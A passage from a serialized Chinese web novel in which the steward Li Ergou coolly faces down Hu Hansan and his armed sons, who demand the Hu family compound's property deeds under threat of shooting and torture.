被强行按住手腕的胡豹满脸狂躁,一脸不甘地转头看向胡汉三,气急败坏地嚷道:“爹!你拦我做什么?你看看他这副无赖狂妄的嘴脸!都死到临头了还敢嘴硬!我实在是忍不了这口气!今日必须弄死他!” 看着儿子莽撞冲动的模样,胡汉三满脸不耐烦,他耷拉着一张阴沉的老脸,训斥道:“忍不住也得给我忍着!小不忍则乱大谋!眼下不是你意气用事的时候!做事要顾全大局,不能因小失大!” “爹!可是他……”胡豹依旧满心不甘,还想再争辩几句。 “你给老子闭嘴!” 胡汉三呵斥的声音威严霸道,带着十足的家长威势,瞬间压得胡豹闭了嘴。 他狠狠地瞪着胡豹,警告道:“给老子老实闭紧嘴巴!老子活了大半辈子,吃过的盐比你吃过的米都多!老子做事,还用不着你这个毛头小子来教!” 被胡汉三当众厉声训斥,胡豹纵使心中再焦躁不甘,也只能憋屈地低下头,再也不敢多说一个字。 他心里再狂妄,也不敢违逆身为维持会会长、一家之主的胡汉三的命令,只能硬生生压下满心杀意,站在原地喘着粗气,眼底依旧满是不甘。 大堂再度陷入死寂,气氛愈发肃杀。 胡汉三扫了一眼安分下来的儿子,再度将目光落回李二狗身上。 “李二狗,你看清楚当下的局势了吗?方才豹子这一枪要是扣下去,你此刻早已脑袋开花了!今日能留你一条性命,全然是我念着往日的情分!” 这番威逼利诱的话术,李二狗心中听得一清二楚。 他太了解胡汉三这种老狐狸的心思了。 对方又是施压、又是训斥小辈、又是假意宽恕,看似步步紧逼、杀气腾腾,实则从头到尾都是在铺垫。 他的目的很简单,无非是想先击溃他的心理防线,让他心生畏惧,最后乖乖交出房契地契,满足其夺权占产的私心。 李二狗心中冷笑,面上依旧平静,懒得陪他继续演这场虚伪的戏码。 他淡淡地说道:“三太爷,你我都是大忙人,没必要在这里东扯葫芦西扯瓢,绕来绕去浪费功夫。有什么话,不妨直说便是。” 心思被当众戳穿,胡汉三眼底闪过一丝尴尬,随即又被阴鸷取代。 他本想多一番铺垫,好好拿捏一番李二狗,逼他主动服软示弱,没想到对方如此干脆,直接打碎了他所有的铺垫。 但事已至此,该说的话,他一句都不会少。 在他眼中,眼下大势在握,李二狗已是穷途末路,根本没有反抗的资本。 不管他愿不愿意,今日只能任由他拿捏,他答应也得答应,不答应也得答应,根本没有第二条路可走! 他不信,有人会不怕死! 压下心中的不快,胡汉三刻意放缓了语气,换上一副虚伪温和的模样,开始打起了感情牌。 “二狗啊,平心而论,这些年你在胡家大院的确辛苦。” 胡豺胡豹一听,自己的爹竟然夸奖起了李二狗,他们怀疑是自己的耳朵出了问题。 “爹,你怎么……?” 胡豹话未说完,便被胡汉三一个眼神吓住了,他赶紧住了口。 回过头来,胡汉三脸上又换上一副慈祥长辈的笑容,他慢悠悠地说道:“二狗啊,这么多年,你守在胡家大院,忠心耿耿,里里外外大小事务全靠你一人操劳,把偌大的胡家大院打理得井井有条,从未出过半点差错,我很感动啊。” “你对我们胡家、对我的好侄儿胡士高,都是有功的。我那苦命的侄儿士高,若是泉下有知,定然也会感念你的勤恳付出,对你心怀感激。” 胡汉三站在原地,故作感慨唏嘘,眼眶含泪,一副念旧情懂感恩的长者模样。 大堂之内,所有人的目光再次聚焦在李二狗身上,等着看他动容。 可李二狗只是静静坐在原地,神色淡然,一言不发,就这么平静地看着胡汉三假意表演,自我感动。 他心里清楚,对方不过是先戴高帽,后夺家产,根本没有什么新鲜的东西。 见李二狗始终面无表情、无动于衷、油盐不进,胡汉三心中的虚伪又多了几分,继续循序渐进道:“老话讲得好,一笔写不出两个胡字。说到底,这胡家大院是我们老胡家的祖宅祖业,是我们胡氏宗族的家事。我们胡家的家事,终究该由胡家人自己打理,万万不能事事都依仗你一个外姓管家操劳把持,于理不合,于规不符。” 说到这里,胡汉三刻意停顿下来,目光紧紧地盯着李二狗,仔细观察着他的神色变化。 可无论他如何说辞,李二狗依旧神色平静,眼神淡然,他不反驳,也不搭话,永远是一副波澜不惊的模样。 这副模样最能消耗人的耐心! 第798章 阴阳怪气李二狗 见自己软硬兼施李二狗都不为所动,胡汉三心里的耐心终于耗尽了,他懒得再继续这样遮遮掩掩。 于是他索性撕开所有虚伪的面具,不再演戏,直奔主题,语气也重新变得冷硬起来。 “李二狗,我们老胡家已经商议妥当,往后这胡家大院的大小事务,便由我们胡家本家人亲自打理。自此之后,胡家大院里的所有事情,便不劳烦你了。” 话音落下,他眼神一沉,对着李二狗说出自己的最终目的,没有丝毫商量的余地。 “李二狗,从现在起,你就不再是胡家大院的管家了。你现在就把胡家大院所有的房契、地契全部交出来!然后回去收拾你自己的东西,天黑之前,立刻离开胡家大院!当然,在你离开之前,我们要检查你带走的行李,不是你的东西,你一样也别想带走!” 胡汉三这是单方面对李二狗下达了最后通牒! 八名持枪爪牙紧握着手中的步枪,随时应对李二狗的反抗。 胡豹、胡豺和胡彪三人,脸上同时露出阴狠得意的笑容,满眼都是报复的快感。 所有人都紧紧地盯着李二狗,等待着他跳起暴怒。 众人心里都清楚,李二狗执掌胡家大院数年,已将这份家业视作自己的心血,他岂会轻易交出? 今日被驱逐出大院,以他素来强硬的性子,绝对不可能乖乖束手就范。 所有人都笃定,为了胡家大院这偌大的家业,李二狗必然会奋起反抗,甚至会拼死一搏。 只要李二狗先动手,他们就有足够的理由当场击毙他! 这是正当防卫! 杀了他,到时候日本人也说不出什么来! 可预想中的李二狗暴怒、愤怒、嘶吼和反抗,通通都没有到来。 李二狗听完胡汉三这番霸道强势的最后通牒之后,脸上依旧不见半分怒意。 他只是轻轻地冷哼一声,露出一抹淡淡的的笑容,语气平静地问道:“三太爷,您老人家都说完了?” 简简单单四个字,淡然平静,没有愤怒,没有不甘,也没有争执,平静得超乎所有人的预料。 胡汉三当场愣住,心底满是诧异不解。 他预想过李二狗暴怒、争辩、求饶、反抗的无数种模样,唯独没有料到对方会是这般云淡风轻的态度。 被人夺权夺产并扫地出门,沦为一无所有的闲人,这般奇耻大辱,换做任何人,都会暴跳如雷,可李二狗偏偏平静得离谱。 短暂的错愕之后,胡汉三压下心中的疑惑,只当李二狗是无力反抗,破罐子破摔了。 他语气中带着几分施舍般的淡漠:“话我已经说得明明白白,自然是说完了。你只要乖乖交出胡家大院的房契、地契,安分离开,我胡家大院绝不会亏待你,更不会抹杀你这些年来的辛劳付出,日后更不会为难你。” 胡汉三说完,李二狗才缓缓地从座椅上站起身来,吓得众人全部严阵以待。 李二狗身姿挺拔,从容淡定,没有一点慌乱的神色。 可就是这从容起身的一个动作,却让大堂两侧持枪围堵的八名爪牙心头一紧,本能地心生畏惧。 众人早已深知李二狗手段厉害,纵使此刻他被枪围困,那份沉淀多年的沉稳气场,依旧让人不敢小觑。 八个人下意识地脚步微微移动,齐齐地往后悄悄退了两步,手中的步枪握得更紧了,眼神警惕地死死盯着他,生怕他突然发难。 一旁脾气最急躁的胡豹,更是瞬间神经紧绷,立刻喝问道:“李二狗!你站起来想干什么?你还打算耍什么花样?我告诉你,你再不答应,我们可就真对你不客气了!” 面对众人的警惕、戒备与质问,李二狗一言不发,并未理会任何人的诘问。 他缓缓抬起头,目光悠悠地望向头顶的屋顶,眼神放空,像是在认真找寻着什么隐秘的东西。 这般莫名其妙的举动,让在场所有人都摸不着头脑。 胡汉三也是满心疑惑,他顺着李二狗的目光,下意识地抬头看向头顶的屋顶。 青瓦木梁,干干净净,空空荡荡,除了寻常的屋顶结构,再无半点异常,更无任何特殊之物。 他看了半晌,什么都没发现,当即呵斥道:“李二狗!你少在这里故弄玄虚、装神弄鬼!你到底想干什么?有话直说!” 在所有人疑惑目光的注视下,李二狗才缓缓收回目光,语气慢悠悠的说道:“没什么。我就是想抬头看看,天上会不会平白无故掉下来金元宝来。” 一句轻飘飘的玩笑话,带着十足的嘲讽意味,慢悠悠回荡在肃杀冰冷的大堂之中。 站在一旁一直默默旁观的李素文,听完他这句巧妙又解气的俏皮话,再也忍不住,“噗嗤”一声,直接笑出了声。 清脆的笑声瞬间打破了大堂紧绷死寂的气氛。 起初胡汉三脑子一懵,还没立刻反应过来李二狗这句话里藏着的深意与嘲讽。 可听见李素文直白的笑声,他瞬间明白了李二狗的言外之意! 这哪里是看什么金元宝! 李二狗分明是在嘲讽他们胡家爷几个痴心妄想、异想天开! 妄图不劳而获,凭空夺走别人辛苦守下的家业,跟等着天上掉金元宝一般白日做梦! 瞬间,胡汉三刚刚压下去的怒火,再度暴涨,一张老脸被气得铁青发黑! 他被这番嘲讽怼得颜面尽失,再也维持不住半点长者气度,厉声怒喝道:“李二狗!你少在这里阴阳怪气!我没空陪你在这里耍嘴皮子!我再问你最后一遍!房契!地契!到底在哪里?立刻给老子交出来!” 整座大堂都回荡着他暴怒的声音。 八名爪牙闻声再度绷紧起神经,枪口全部对准李二狗,杀气腾腾,只待一声令下,便即刻动手。 胡豺、胡豹和胡彪三人也是满脸凶光,他们死死地盯着李二狗,嚣张的气焰再度拉满。 一场剑拔弩张的生死对峙,依旧在胡家大堂激烈延续着! 第799章 水仙不开花——你跟我装什么蒜 尽管胡氏父子在大堂上叫嚣得厉害,但李二狗心里跟明镜似的,他早已把胡氏父子尤其是胡汉三的的心思摸得一清二楚。 胡家这老老少少一窝人,今天来到胡家大院,目的很明确,就是想得到胡家大院的房契和地契。 只要这两样最金贵的东西还没有落到他们手里,自己就绝对没有一点危险。 这帮人贪的是胡家大院的家业和田产,而不是为了取他李二狗的一条性命。 说白了,他李二狗的性命才值几个钱? 杀了他,房契地契就彻底没有了着落,即使他们强行住进胡家大院,也依旧是名不正言不顺。 他们父子几人忙活一场,到头来什么便宜都捞不着。 以胡汉三那老狐狸的心思,绝对不可能做这种赔本的买卖。 想通了这一层,面对眼前气焰嚣张、张牙舞爪的胡氏父子,还有围在四周虎视眈眈的一众胡家爪牙,李二狗心底没有一点慌乱。 他身姿端正地坐在大堂的木椅上,挺直脊背,神色平淡,眼神沉静得像一潭深水,看不出半分起伏。 任凭对面众人步步紧逼,他自始至终地稳坐如山,一点恐惧的念头都没有。 他就想静静地坐在这里看这群人尽情地装逼! 李素文起初怕的要命,毕竟对方人多势众,还有枪,他担心李二狗吃亏。 她时不时地向外张望,平时一直对李二狗鞍前马后的张二驴此时却不见踪影。 难道他见胡汉三等人人多势众,吓得已经逃走了? 这个张二驴,到底去哪了? 但她看见李二狗一直表现得非常淡定,仿佛一切都在他掌控之中。 以她对他的了解,知道他心中肯定已经有了对付胡氏父子的方法,便也放下心来。 李二狗都不怕,她没有怕的道理! 张二驴作为李二狗的铁杆狗腿子,怎么可能吓得逃走?! 此刻的胡家大院大堂隔壁,一间僻静的厢房里,张二驴领着一众精壮家丁,全部潜伏在屋内。 所有人都屏住呼吸,他们手里紧紧地攥着武器,其中一个健壮的家丁抱着一挺捷克轻机枪,他们指尖全部扣在扳机上,肌肉紧绷,静静地聆听着隔壁的动静,随时准备冲出去消灭胡汉三这群乌合之众。 原来早前李二狗早已和张二驴商定了一套紧急情况下的应对策略,只要胡家大院出现突发情况,张二驴便带人隐藏在李二狗周围。 只要他传出一声隐秘的信号,张二驴便立刻带人冲出来,稳住局势。 张二驴牢记着李二狗的指令,只待李二狗一声令下,便会即刻行动。 李二狗之所以做出这种安排,是深思熟虑的结果。 现如今的江东地界,被日本人牢牢把控着,全县都推行极为严苛的武器管控条令。 私藏枪械是日本人明令禁止的大忌,一旦被查实,便是天大的罪名。 他如今已不是仙人洞镇的维持会会长,没有了往日公职身份庇护,已然成了无职无衔的普通人。 反观胡汉三,他刚刚攀上日本人和新任县长郭有财的关系,坐稳了仙人洞镇维持会会长的位置,手里握着日本人默许的职权,正是风头正盛的时候。 眼下胡家大院若是公然亮出大批武器,不用多想,胡汉三必定会借题发挥,反手给他安上一个私藏枪械甚至图谋反日的罪名。 到那时候,有理也说不清,只会白白落人口实,平白招来日本人的惩处,得不偿失。 这般利弊得失,李二狗在来大堂对峙之前,就已经在心里盘算得清清楚楚。 所以不到万不得已,不到真的被逼到绝路的地步,他绝对不会允许藏在暗处的家丁贸然动手。 隐忍一时,方能稳住全局,这是眼下最稳妥的法子。 大堂之上,死寂了片刻。 李二狗微微抬起眼,目光平和地看向对面一脸阴鸷的胡汉三,不急不躁地说道:“三太爷,你这话说的,实在是为难我了。房契地契是什么物件?那是胡家的根基家业,是最最重要的东西。这般贵重的物件,大奶奶肯定是片刻不离身地保管着。她怎么会给我一个外人呢?” 他微微顿了顿,语气依旧平稳,继续说道:“你若是真心想要这房契地契,不该来逼我一个下人。大奶奶如今身在上海,你大可以亲自去上海寻她讨要。我不过是胡家一个区区管家,说白了就是替胡家干活的外人,手里怎么可能握得住胡家大院的契约呢?三太爷,你说是不是这个道理?” 这番话说得滴水不漏,却把所有的路都堵得严严实实,不给对方一点拿捏自己的机会。 胡汉三听完,脸色瞬间沉了下来,鼻腔里重重地挤出一声冷哼,满是讥讽的目光死死地钉在李二狗身上。 “李二狗,你少在这里跟我装模作样,水仙不开花——你跟我装什么蒜!” 他声音刻薄,带着一股子居高临下的鄙夷,字字句句都带着污人的恶意。 “你和于兰芝那个臭婊子私底下是什么关系,仙人洞镇甚至整个江东县的人,谁心里不清楚?若不是我们胡家人还守着这座大院,照你俩的心思,这胡家大院的牌匾,怕是早早就换成李家大院了!” 这话极尽刻薄污蔑,字字诛心,刻意往龌龊不堪的地方引,就是想当众折辱李二狗,打乱他的阵脚。 李二狗心里清楚,胡汉三这人坏得流脓,心肠歹毒到骨子里,可偏偏这句栽赃抹黑的话,掺着几分实打实的实情。 自从胡士高死了之后,留下一个不是自己的亲生儿子胡福,但他是个傻子,目前更是不知所踪,偌大的家业没人撑得起来。 于兰芝一介女流,孤身守着偌大的胡家大院,孤立无援。 是他李二狗日夜周旋,替她稳住内宅,镇住外患,挡住了一波又一波觊觎胡家产业的宵小之辈。 多年下来,胡家大院里里外外的大小事务,尽数由他一手操持打理。 大院的人事调度、田产收成、对外应酬往来,没有一处离得开他。 第800章 住得了一时,却住不了一世 明面上,这里依旧是胡家大院,牌匾未换,名分未改,可实际上,这座大院的控制权和话语权,早就牢牢地落到了李二狗手里,胡家大院早已成了他囊中之物。 但李二狗也没有说谎,房契地契确实不在他自己手中,当然也不在于兰芝身上。 当初为了稳妥起见,他早就将所有契书和一些贵重之物全部存进了上海汇丰银行的私人保险柜里。 唯有如此,才能彻底杜绝一切后患。 心里思绪百转千回,面上的李二狗却依旧神色淡然。 他抬眼直视着胡汉三,直接当场反驳了回去。 “三太爷,饭可以随便吃,话可不能随便乱讲啊,咱们做人做事总得给别人留几分脸面吧?” “于兰芝是你的亲侄媳妇,是胡家大院明媒正娶的大奶奶。你身为长辈,做为她叔叔,却当众用这般粗鄙不堪的污言秽语诋毁一个死了男人的晚辈女子,你这是污蔑自家人的名声,传出去让外人怎么看待你们胡家?” 李二狗条理清晰,苦口婆心,句句都戳在情理之上。 “你扪心自问,这般肆意污蔑侄媳,满口污言秽语,你还有半分做长辈、做叔叔的样子吗?” 一番义正辞严的话出口,当场就把胡汉三堵得哑口无言。 这些年,外边一直疯传李二狗和胡家大院几个女人不清不楚,但这都是传言,并没有真凭实据。 胡汉三原本是想靠着这些污言秽语来羞辱李二狗,逼得他失态慌乱,好趁机夺取主动权。 可这番话兜头落下,直接把事情的性质彻底扭转。 当众诋毁自家侄媳,丢的不是李二狗的脸面,是实打实的胡家颜面,是整个胡氏宗族的名声。 真要是把这事闹大,传到宗族长老耳中,旁人只会骂他胡汉三为老不尊、品行败坏,非但打压不了李二狗,反倒会让自己落得一身不是。 胡汉三张了张嘴,老脸一阵青一阵白,一时语塞,先前嚣张的气焰瞬间被压下去大半,一时间竟找不到合适的话反驳。 大堂里安静了片刻,空气里的僵持与对峙愈发浓烈。 胡汉三死死盯着气定神闲的李二狗,心中的戾气与不甘越积越重。 他深知这种口舌之争根本奈何不了巧舌如簧的李二狗,再多废话也是白费功夫。 片刻之后,他猛地沉下脸,厉声喝道:“李二狗,多余的废话我不跟你多说!我最后问你一句,房契地契,你到底交还是不交?今日你若是执意不交,我们胡家人断然不会善罢甘休!” 面对他赤裸裸的威胁,李二狗脸上依旧挂着一抹浅淡的笑意,一点不见慌乱,姿态依旧松弛从容,不急不躁。 “三太爷,我反反复复跟你说了好几遍,房契地契在大奶奶手里,由她贴身保管着。你非要逼着我拿出来,我一个做管家的下人,手里压根就没有,你让我拿什么交?总不能凭空给你变出来吧?” 他语气温和,态度诚恳,可字字句句都寸步不让,不留一点破绽。 站在一旁的胡豺,本就性子急躁,看着李二狗这副满不在乎的模样,仿佛他们父子几人的威逼胁迫,在对方眼里不过就是一个屁。 这般全然不把胡家人放在眼里的态度,彻底点燃了胡豺心底的怒火,他又被激怒了。 他上前一步,粗声粗气地大喊道:“爹!别跟这油嘴滑舌的小子白费口舌了!磨磨唧唧纯属浪费时间!依我看,直接一枪毙了他,一了百了!只要他一死,这胡家大院没人撑腰,咱们一家人今天就能名正言顺搬进来占了这里!” 胡豺话音刚落,一旁的胡豹立刻上前附和,他满脸的急切,眼神里满是对这座大院的觊觎。 “是啊爹!我哥说得太对了!你就别再犹豫了,赶紧下令把他毙了!我早就看这小子不顺眼了,早就盼着搬进胡家大院享福了!今日正好了结了他,咱们直接入住!” 兄弟二人你一言我一语,满脑子都是抢占大院的好事,目光短浅,狂妄无知,丝毫不懂其中的利害深浅。 胡汉三看着两个不成器的儿子,眼底里满是恨铁不成钢的愠怒,他心里憋着一股火气,恨不得当场开口痛骂他们一顿。 到底是目光短浅的蠢货,只看得见眼前的一亩三分地,只贪图一时的痛快。 杀了李二狗,不过是抬手一枪的事,可杀了他又能如何?房契、地契依旧下落不明。 他们今日可以靠着人多势众强行霸占了胡家大院,也只能住得了一时,却住不了一世。 没有政府的认可,没有契书凭证,这座大院终究不是自家的产业。 日后于兰芝回来,他们立马就得被赶出去,竹篮打水一场空。 他胡汉三活了大半辈子,精于算计,图的从来不是一时的痛快。 他要的是一份能稳稳当当传给子孙后代,名正言顺受政府律法庇护的家业田产。 唯有拿到真真切切的房契地契,彻底掌控胡家大院的产业,子孙后代才能永久安稳享福,这才是长久之计。 想到这里,胡汉三再也压不住火气,转头对着两个儿子厉声呵斥道:“你们两个蠢货,立刻给老子闭嘴!一群鼠目寸光的东西!拿不到房契地契,你们就算强行住进这大院,夜里睡觉能睡得安稳吗?早晚得给人赶出来!” 这一声厉声呵斥,如同当头棒喝,瞬间打醒了满心浮躁的胡豺与胡豹。 兄弟二人瞬间噤声,脸上的嚣张气焰收敛不少,心底也隐隐反应过来,今日最要紧的,从来不是杀了李二狗,而是务必拿到那份房契地契。 拿不到契书,一切都是空谈。 大堂另一侧,一直捂着自己断指的胡彪,此刻正强忍着指尖钻心刺骨的剧痛,他脸色惨白,额头上布满细密的冷汗。 他的手指被李二狗生生掰断,骨痛阵阵钻心,时时刻刻折磨着他。 心底对李二狗的恨意早已滔天,巴不得立刻让对方受尽苦楚,血债血偿。 第801章 我呸 胡彪咬着牙,硬扛着手指的剧痛,上前对着胡汉三说道:“三叔,依我看,李二狗这小子就是典型的不见棺材不落泪。嘴巴硬得很,寻常的言语吓唬,根本镇不住他,也逼不出实话。” “咱们也别跟他客气了,直接把他抓起来吊在院子里打!我就不信,他的骨头再硬,能扛得住一顿蘸盐水的皮鞭子拷打?多熬他一阵子,他疼得受不住,自然就乖乖地吐出房契地契的下落了!” 这话一出,旁边的胡豹瞬间来了精神,他立马撸起衣袖,脸上露出凶狠暴戾的神色,连连附和道:“对对对!爹,我彪哥说得太对了!就是这个理!” 他瞪了一眼李二狗,语气狂妄至极:“爹,你赶紧下令!把这小子吊起来!不用旁人动手,我亲自拿鞭子收拾他!我今天倒要好好试试,到底是他的嘴巴硬,还是我手里的皮鞭子更硬!我非得打得他开口求饶叫爷爷不可!” 胡汉三冷眼扫过神色从容的李二狗,心里已然打定了主意。 他清楚,李二狗心思深沉,城府深不见底,靠好好说话,根本不可能让他妥协。 今日不动点真格的,不上点狠手段,这小子根本不知道马王爷有三只眼。 唯有动刑施压,彻底摧垮他的底气,才能撬开他的嘴,逼出房契地契的下落。 心念既定,胡汉三双目一沉,厉声对着爪牙下令道:“来人!给我把李二狗抓起来!” 一声令下,大堂气氛瞬间紧绷到了极致。 李二狗没说话,倒是李素文忍不住了。 她猛地站起身来,伸手挡在李二狗身前。 “我看你们谁敢?!” 李素文也不知道自己哪里来的勇气,此刻她心里只有一个念头,绝不能让李二狗挨打! 胡豹早就对李素文的美貌垂涎三尺,此刻见她孤身挡在李二狗身前,胸口一抖一抖的,煞是馋人。 他狠狠地咽了一口口水,苦口婆心地劝道:“小嫂子,你快点让开,李二狗今天必死无疑,你年纪轻轻的没必要趟这浑水。” 李素文纹丝不动,根本没拿正眼看他一眼。 胡豹仿佛受到了极大的侮辱,他立马换了一副面孔,恶狠狠地威胁道:“你要再不让开,连你一起打,脱光了吊起来打,就问你怕不怕?” “我呸!” 李素文吐了胡豹一口口水。 胡豹伸手抹了一把脸上的口水,然后竟伸出舌头舔了舔嘴角的口水。 李素文差点恶心地吐出来。 与此同时,大堂隔壁的厢房内,张二驴正带着一众家丁全程凝神听着大堂里的一举一动。 早前李二狗就和他定下死规矩,无论局势如何,哪怕李二狗身陷险境,只要没有他发出的隐秘行动信号,所有人都必须按兵不动,违令者重罚。 张二驴是跟着李二狗多年的老人,生性沉稳,执行力极强,对李二狗向来绝对服从,从不自作主张。 他清清楚楚地听见了胡汉三下令抓人的声音,也听见了胡豹、胡彪等人扬言要吊打李二狗,用盐水皮鞭逼供的狠话。 耳边的句句威胁,字字凶险,听得他心头一紧。 那一刻,他几乎本能地想要带着身边一众持枪家丁破门冲出去。 只要他们冲出去,凭借手里的枪械,顷刻间就能控制住胡汉三父子和所有爪牙,轻松护住李二狗的安全。 可指尖刚动,脑海里立刻响起李二狗提前定下的铁律,想起他再三叮嘱的“无令不动”。 张二驴脚步猛地顿住,硬生生压下了心底的躁动。 他太了解李二狗的性子了。 这个人素来心思缜密,凡事都是谋定而后动,从不会莽撞行事,更不会坐以待毙。 李二狗明明知道隔壁藏着人手,明明自己正面临被抓受刑的险境,却依旧迟迟不发出行动信号,定然是另有深远的打算。 李二狗隐忍不动,必然有他不动的道理。 若是自己此刻贸然冲出去救人,看似是护主心切,实则只会彻底打乱李二狗的全盘部署。 更致命的是,一旦大批枪械暴露在众人眼前,胡家大院私藏武器的事实就会彻底败露。 现如今日本人管控枪械极严,李二狗早已卸任维持会会长,没有任何公职庇护,私藏军械乃是大忌。 到时候胡汉三必定抓住这个把柄大做文章,直接扣上谋反作乱、私藏军火的罪名,反倒能名正言顺地抓捕处置李二狗。 这般后果,不堪设想。 张二驴站在原地,胸腔里满是焦灼,心里万分担心李二狗的安危,却硬生生压下了所有冲动。 他一时半会儿没能揣透李二狗隐忍不发的真正用意,不清楚他到底在布局什么。 但他从不质疑李二狗的决断,更不会违背命令。 哪怕他暂时还看不懂当前局势,哪怕他心中焦急万分,只要李二狗没有发出信号,他就绝对原地待命,不折不扣地服从。 一众家丁看着领头的张二驴按兵不动,也全都死死压住内心躁动,紧握武器,继续潜伏隐忍。 厢房之内,寂静无声,人人待命。 大堂之中,身处风暴中心的李二狗,心里的算盘打得比任何人都精准。 他之所以自始至终冷静自持,迟迟不肯让暗处的人手现身动手,压根不是被逼无奈,更不是无计可施,而是他心底有着十足的底气。 眼前这胡家父子四人,看似人多势众,实则都是不堪一击的草包,根本对他构不成半点真正的威胁。 胡汉三空有一肚子阴私算计,却终究是老迈怯懦,做事瞻前顾后,不敢真正鱼死网破。 年轻的胡豺、胡彪、胡豹三兄弟,更是各有缺陷。 胡豺狂妄莽撞,有勇无谋。 胡彪手段阴狠,却眼界狭隘。 胡豹更是头脑简单、随波逐流,旁人说什么便信什么,半点自己的主见都没有。 这般一群各有短板的人,凑在一起看着声势浩大,实则破绽百出。 对付他们,根本用不着动枪动炮,更没必要冒着触犯日本人枪械禁令的风险暴露自己。 仅凭他一人的口舌与谋略,就足以稳住局势,将这帮人彻底拿捏。 第802章 郭县长找我谈公事 就在胡汉三的两个爪牙领了命令,快步上前,伸手就要擒拿李二狗的瞬间。 一直神色淡然的李二狗,突然大喝一声:“我看哪个狗日的敢动?!” 他这一声厉喝,中气十足,仿佛震得大堂的房顶都嗡嗡作响,气势凛冽,锋芒毕露! 那两个快步上前的胡家爪牙,原本仗着胡家人的威势,底气十足,可被李二狗这一声威势十足的厉喝当头震慑,双腿瞬间一僵,脚步猛地钉在原地。 两人浑身一颤,眼里闪过一抹浓浓的惊惧,你看看我,我看看你,手足无措,愣在原地不知如何是好。 大堂内原本嚣张紧绷的氛围,竟被这一声大喝瞬间压制住了。 身后的胡豹见两个手下如此窝囊,关键时刻掉链子,当场气得脸色铁青,气急败坏地厉声怒骂道:“你们两个废物!杵在那里干什么?还不赶紧动手抓人!等着老子亲自收拾你们吗?!” 被胡豹当众怒骂,两个爪牙脸上一阵难堪,连忙回过神来,硬着头皮再次向前,伸手就要擒拿李二狗。 可就在他们目光对上李二狗那双不怒自威的眼眸时,脚步再次下意识顿住,心底的恐惧瞬间翻涌上来,手脚再次僵住,怎么都不敢往前半步。 这两个人本就是仙人洞镇土生土长的泼皮无赖,自小就听着李二狗的名头长大。 早些年李二狗在仙人洞镇白手起家,行事果决,镇里的地痞流氓、乡绅无赖,没人不忌惮他的手段,畏惧他的名头。 他的厉害、他的狠绝、他的能耐,早就深深地刻在了全镇人的心里。 最近这两年,李二狗历经起落,先是被清风寨的土匪赶下山,之后又丢了仙人洞镇维持会会长的职务,就连昔日背靠的结拜兄弟江东县长孙竹刚,也早已失势。 在外人看来,如今的李二狗,已然是落魄凤凰不如鸡,没权没势,无依无靠,早已不复当年风光。 可在这些从小敬畏他的本地人眼里,那种早就刻在骨子里的畏惧,从来没有半分消减。 哪怕他如今落魄失势,无权无势,可他身上那股历经风浪的沉稳气场,那股遇事不惊、杀伐果断的底蕴气度,依旧远超常人。 站在他面前,这些爪牙打心底里自觉矮了一头,从骨子里生出深深的敬畏,半点嚣张气焰都不敢有。 看着两个手下一而再再而三怯弱退缩,不敢动手,胡豹彻底被激怒,他再次厉声叫嚣催促道:“废物!一群没用的废物!赶紧动手!把他给我抓起来!谁敢再磨蹭,回头我一并收拾!” 就在两个爪牙咬牙闭眼,准备硬着头皮上前的刹那。 一直安稳端坐的李二狗,缓缓挺直腰身,从容不迫地从木椅上站起身来。 他动作不快,姿态松弛,没有一点凶狠扑杀的架势。 就是这样一个平平淡淡的起身动作,却让大堂里所有人瞬间神经紧绷,人人下意识往后撤,眼神警惕到了极点。 所有人都死死盯着他,生怕他突然发难,闹出鱼死网破的局面。 一旁的胡豺心里最为忌惮,他深知李二狗手段狠厉,生怕对方被逼急了豁出性命拼命。 他立刻上前半步,色厉内荏地警告道:“李二狗!我劝你安分一点!我们人多势众,你孤身一人,根本翻不了天!你若是敢轻举妄动,休怪我们枪子不长眼睛,当场毙了你!” 面对他赤裸裸的武力威胁,李二狗连正眼都懒得瞧他一下,眼神里满是淡淡的不屑。 他抬眸扫过眼前一众凶神恶煞的人,嘴角勾起一抹淡淡的浅笑,仿佛眼前的刀光剑影,威逼胁迫,在他眼里都只是一件无关紧要的小事。 “用不着这般大动干戈。”他语气平缓地说道:“郭有财郭县长,约了我今日下午四点,去县政府当面谈一件重要的事情。这时间快要到了,我该动身过去了,让郭县长等我可就不好了。” 简简单单的一句话,轻飘飘地落在大堂之中,却如同平地惊雷,瞬间让胡家父子四人脸色齐齐一变。 郭有财! 现如今江东的新任县长,日本人跟前的红人,手握实权,正是风头最盛的时候。 胡汉三能稳稳地坐上仙人洞镇维持会会长的位置,不是靠自己的本事,不是靠胡氏家族的名望,全靠私底下偷偷给郭有财孝敬了一千块大洋,靠着重金打点,才换来如今的职位。 说白了,郭有财就是他如今最大的靠山。 可这份靠山,是他费尽心思才攀附上的,眼前落魄的李二狗,竟然说郭县长亲自约他面谈公事? 胡汉三一时间有些拿捏不准,分不清李二狗这话到底是真是假。 他眼底满是迟疑,心里反复掂量,眉头紧紧皱起。 一旁的胡豺最先回过神来,他满脸不信,鼻腔里发出一声轻蔑的冷哼。 “爹!你可千万别信这小子的鬼话!他这纯属胡编乱造、吹牛唬人!” 他见胡汉三还在犹豫,接着斩钉截铁地说道:“郭县长是什么身份?他如今身居高位,怎么会约他一个落魄失势的下人面谈公事?他早就没了官职,不过是一个无业闲人,哪里配得上县长亲自召见?他这么说摆明了是怕死找借口,故意糊弄我们!” 旁边毫无主见的胡豹,闻言立刻无脑附和,完全照搬胡豺的说法。 “没错!我哥这话说得很有道理!爹,你可别被这小子骗了!” 怕胡汉三不信,他接着补充道:“他从前是孙竹刚的狗腿子,孙竹刚现在已经失势了,他早就成了一个没根的人!郭县长跟孙竹刚本就不是一路人,怎么可能特意召见他?这小子就是眼看要挨打送命,心里怕了,故意编瞎话骗我们,想借机逃命!” 说完,胡豹恶狠狠地瞪着旁边两个迟迟不敢动手的爪牙,再次厉声命令道:“别听他满嘴胡扯!都是骗人的鬼话!你们立刻动手,把李二狗给我抓起来!” 第803章 拿钱开路 两个胡家爪牙被胡豹劈头盖脸一顿臭骂,被逼得再也没有任何退路。 方才他们两次被李二狗强大的气场震慑,吓得不敢动弹,已经被胡豹骂得狗血喷头。 若是此刻再畏缩不前,依着胡豹的性子,回头定然不会轻饶了他们。 两人心里又怕李二狗,又怕得罪胡家,权衡利弊之下,只能硬着头皮,咬着牙朝着李二狗慢慢靠过去,准备伸手拿人。 大堂里的气氛瞬间又变得紧绷起来,屋内所有人的目光,都盯在李二狗身上,等着看他束手就擒的模样。 李素文就坐在李二狗身边,她看着爪牙一步步逼近李二狗,心都提到了嗓子眼上。 